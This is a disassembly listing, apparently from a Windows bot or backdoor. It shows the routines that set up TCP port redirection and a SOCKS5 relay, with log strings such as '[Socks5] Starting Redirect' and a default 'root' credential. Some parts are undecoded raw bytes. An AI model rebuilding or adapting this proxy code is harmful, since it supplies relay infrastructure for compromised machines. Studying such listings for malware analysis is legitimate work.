		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B622:				; CODE XREF: sub_42B540+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B70A
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B676:				; CODE XREF: sub_42B540+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6A0
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6A0:				; CODE XREF: sub_42B540+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6DB
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6DB:				; CODE XREF: sub_42B540+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B676
		jmp	short loc_42B70A
; ---------------------------------------------------------------------------


loc_42B702:				; CODE XREF: sub_42B540+15Ej
					; sub_42B540+199j
		push	0Ah
		nop
		call	near ptr 2830000h


loc_42B70A:				; CODE XREF: sub_42B540+27j
					; sub_42B540+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B71E
		push	eax
		call	edi


loc_42B71E:				; CODE XREF: sub_42B540+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B72C
		push	esi
		call	edi


loc_42B72C:				; CODE XREF: sub_42B540+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  48h	; H
		db 0BCh	; 
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; 
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; 
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; 
		db 0F1h	; 
		db  89h	; 
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; 
		db 0A0h	; 
		db  67h	; g
		db 0FDh	; 
		db 0FFh
		db  68h	; h
		db  70h	; p
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; 
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; 
		db    6
		db 0C0h	; 
		db 0E1h	; 
		db  43h	; C
		db    0
		db 0E8h	; 
		db 0DAh	; 
		db  5Dh	; ]
		db 0FDh	; 
		db 0FFh
		db  8Bh	; 
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; 
		db 0C6h	; 
		db  5Eh	; ^
		db  64h	; d
		db  89h	; 
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  10h
		db 0C3h	; 
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B830:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B848
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B848:				; CODE XREF: ___:0042B83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B860	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B880	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B880
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BAB8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42B96B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B96B:				; CODE XREF: sub_42B880+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BA64


loc_42B97F:				; CODE XREF: sub_42B880+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BA45
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BA45
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BA45
		push	0A9h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B9E5
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42B9E5:				; CODE XREF: sub_42B880+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BA45:				; CODE XREF: sub_42B880+111j
					; sub_42B880+133j ...
		push	0FAh
		call	near ptr 2830000h
		nop
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42B97F


loc_42BA64:				; CODE XREF: sub_42B880+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BA76
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42BA76:				; CODE XREF: sub_42B880+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h


loc_42BAB8:				; CODE XREF: sub_42B880+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B880	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BB70	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BB70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_42BB70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BE60:				; CODE XREF: ___:loc_40202Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BD84
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42BFC7
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh
		dd 7F000BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 3E80000h, 68FFFD53h,	443600h, 4C244C8Dh, 8B51026Ah
		dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	52CCE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
		dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD528Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 0DE80000h
		db 54h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42BFC7:				; CODE XREF: ___:0042BE9Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C0F7
		push	9Dh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42C00E
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C010
; ---------------------------------------------------------------------------


loc_42C00E:				; CODE XREF: ___:0042C001j
		xor	edi, edi


loc_42C010:				; CODE XREF: ___:0042C00Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C0F7:				; CODE XREF: ___:0042BFDAj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C220
		push	0A2h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42C13E
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C140
; ---------------------------------------------------------------------------


loc_42C13E:				; CODE XREF: ___:0042C131j
		xor	edi, edi


loc_42C140:				; CODE XREF: ___:0042C13Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42C1EE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C1F5
; ---------------------------------------------------------------------------


loc_42C1EE:				; CODE XREF: ___:0042C1E3j
		mov	byte ptr [edi+9Dh], 0


loc_42C1F5:				; CODE XREF: ___:0042C1ECj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C220:				; CODE XREF: ___:0042C10Aj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2ED
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42C26A
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C26C
; ---------------------------------------------------------------------------


loc_42C26A:				; CODE XREF: ___:0042C25Dj
		xor	edi, edi


loc_42C26C:				; CODE XREF: ___:0042C268j
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C2ED:				; CODE XREF: ___:0042C236j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C519
		lea	ecx, [esp+30h]
		call	sub_401424
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014D3
		cmp	eax, offset byte_446F60
		jnz	short loc_42C3CF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3CF:				; CODE XREF: ___:0042C3BFj
		lea	ecx, [esp+18h]
		call	sub_4014D3
		cmp	eax, offset byte_446F60
		jnz	short loc_42C3ED
		push	offset byte_446F60
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3ED:				; CODE XREF: ___:0042C3DDj
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42C519:				; CODE XREF: ___:0042C30Cj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C536
		mov	[ebp+11Ch], al


loc_42C536:				; CODE XREF: ___:0042C52Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C710	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A7D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C731
		inc	ecx
		mov	[eax+118h], ecx


loc_42C731:				; CODE XREF: sub_42C710+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
sub_42C710	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C790	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436F4E
sub_42C790	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 840D8B19h, 500050FAh, 6840C183h, 445404h, 54E89051h
		dd 83778146h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42C7E0:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C7F3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C7F3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42C7F3:				; CODE XREF: ___:0042C7E6j
					; ___:0042C7EDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C810	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		call	near ptr 77C47660h
		nop
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C884
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_436F96
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44545868h, 0A57CE800h, 83907780h,	0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42C884:				; CODE XREF: sub_42C810+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C8A2
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42C8B2
; ---------------------------------------------------------------------------


loc_42C8A2:				; CODE XREF: sub_42C810+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C8B2:				; CODE XREF: sub_42C810+90j
		cmp	eax, ebx
		jz	short loc_42C8CD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_436F36
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42C8E1
; ---------------------------------------------------------------------------


